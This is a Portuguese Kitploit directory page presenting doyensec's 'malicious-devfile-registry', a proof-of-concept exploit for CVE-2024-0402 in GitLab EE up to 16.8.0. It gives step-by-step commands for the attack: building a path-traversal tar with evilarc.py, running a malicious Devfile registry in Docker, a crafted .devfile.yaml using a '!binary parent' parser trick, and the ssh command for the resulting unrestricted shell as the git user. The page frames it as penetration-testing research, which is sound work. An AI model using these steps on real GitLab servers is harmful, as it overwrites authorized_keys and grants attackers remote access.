Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
malicious-devfile-registry — Exploit para CVE-2024-0402 no Gitlab | Kitploit
Ferramentas/GitHubGitHub/doyensec/malicious-devfile-registry
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança da Cadeia de SuprimentosRed Teaming
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

Exploit para CVE-2024-0402 no Gitlab

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver RepositórioSite
155há 1 anoAinda não revisado

Malicious Devfile Registry

O projeto contém um Registro Devfile malicioso utilizável para explorar o CVE-2024-0402 no Gitlab.

A Exploração

Um stack nodejs:2.2.1 é indexado para expor o arquivo archive.tar que explora a vulnerabilidade de path-traversal na biblioteca registry-support anterior à v1.1.0.

localização do tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

Foi criado usando o evilarc.py para sobrescrever o /var/opt/gitlab/.ssh/authorized_keys no servidor Gitlab alvo com as chaves SSH da pasta ssh-keys/ neste repositório.

root@kitploit:~
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

Uma vez em execução, o registro terá o .tar malicioso adicionado aos stacks buscáveis. Veja o index.json listando-o entre os recursos do stack:

root@kitploit:~
...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

Passos para Reprodução

Configure uma instância Gitlab EE com versão <=16.8.0. Ative os Workspaces seguindo a documentação e as notas extras no nosso post dedicado da série !exploitable.

Quando estiver pronto, siga os passos abaixo:

  1. Execute docker build -t devfile-index . na raiz deste repositório para construir a imagem do contêiner do registro

  2. Execute docker run -d -p 5000:5000 --name local-registrypoc registry:2 para rodar um registro de contêiner local que será usado pelo registro Devfile para armazenar o stack. Nota: você deve editar o comando para expô-lo de acordo com sua necessidade. Para nós, tudo acontecia em um ambiente local

  3. Execute docker run --network host devfile-index para iniciar o registro Devfile malicioso construído no passo um. Nota: como antes, edite o comando run como desejar para torná-lo acessível pela instância Gitlab

  4. Autentique-se como desenvolvedor no servidor Gitlab alvo, depois edite o .devfile.yaml de um repositório que você controla. O YAML deve explorar o diferencial do parser para permitir a busca a partir do registro malicioso

root@kitploit:~
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. Para acionar a escrita de arquivo na interface do Gitlab, basta iniciar um novo Workspace no repositório editado. Após alguns segundos, a escrita arbitrária de arquivo deve ocorrer e a ssh-keys/pockey.pub será adicionada ao authorized_keys do usuário git

  2. Você deve conseguir um shell irrestrito como git com

root@kitploit:~
ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
Baixar ferramenta